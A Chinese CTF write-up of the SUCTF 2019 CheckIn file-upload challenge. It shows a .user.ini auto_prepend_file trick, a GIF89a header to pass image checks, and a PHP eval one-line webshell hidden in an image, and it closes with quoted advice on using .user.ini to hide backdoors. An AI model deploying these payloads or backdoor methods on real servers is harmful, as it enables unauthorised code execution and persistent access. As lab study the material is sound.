[BUUOJ记录] [SUCTF 2019]CheckIn

比较经典的一道文件上传题,考察.user.ini控制解析图片方式

打开题目给出了上传功能,源代码里也没有任何提示,看来需要先测试一下过滤

前后依次提交了php,php5,php7,phtml拓展名的文件,发现都被过滤,并且PHP代码中不能含有<?字符

这个时候首先想到利用HTML的<script language='php'>标签来插入PHP代码

但是拦截了常规的PHP拓展名,第一时间想到上传一个含有PHP代码的jpg文件,然后利用.htaccess来将jpg文件当作PHP文件解析

发现服务器中间件是nginx,并不是apache,因此.htaccess并不适用于这种环境,百度学到可以利用.user.ini文件起到.htaccess同样的效果

这种方法可以参考: https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

 编写好.user.ini文件上传提示“exif_imagetype:not image!”

常规套路,文件前加GIF89a后再次尝试,成功上传,.user.ini代码如下:

GIF89a
auto_prepend_file=ye.jpg

之后再上传含有PHP代码的图片ye.jpg,同样使用GIF89a绕过类型检测,ye.jpg代码如下:

GIF89a
<script language='php'>@eval($_POST['ye']);</script>

从题目中可以知道上传的文件都会被包含在上传目录的index.php文件中,菜刀连上获得Flag:

这里有一个hint,在日常CTF比赛中除非明确需要利用一句话木马来获得Flag,否则一般情况下尽量使用system()函数读取Flag,之前做题的时候直接用一句话木马连接没有找到Flag,最后用system()才读取到了Flag,可能也是出题人害怕被搅屎吧,hhhhhhh。同样需要避免的就是phpinfo()函数,在一些题目环境中会显示不出来phpinfo,所以测试PHP代码是否被执行最好echo一个字符串来看。

最后总结一下.user.ini在文件上传题型中的应用,直接摘录其他师傅的:

.user.ini实战利用的可能性

综上所述.user.ini的利用条件如下:

  1. 服务器脚本语言为PHP
  2. 服务器使用CGI/FastCGI模式
  3. 上传目录下要有可执行的php文件

从这来看.user.ini要比.htaccess的应用范围要广一些,毕竟.htaccess只能用于Apache

但仔细推敲我们就会感到“上传目录下要有可执行的php文件”这个要求在文件上传中也比较苛刻,应该没有天才开发者会把上传文件放在主目录或者把php文件放在上传文件夹。

但也不是全无办法,如果我们根据实际情况配合其他漏洞使用可能会有奇效,前段时间我遇到一个CMS对上传时的路径没有检测../,因此导致文件可被上传至任意目录,这种情况下我们就很有可能可以利用.user.ini

除此之外,把.user.ini利用在隐藏后门上应该是个很好的利用方法,我们在存在php文件的目录下留下.user.ini和我们的图片马,这样就达到了隐藏后门的目的。

引用自:https://xz.aliyun.com/t/6091

猜你喜欢

转载自www.cnblogs.com/yesec/p/12403184.html
今日推荐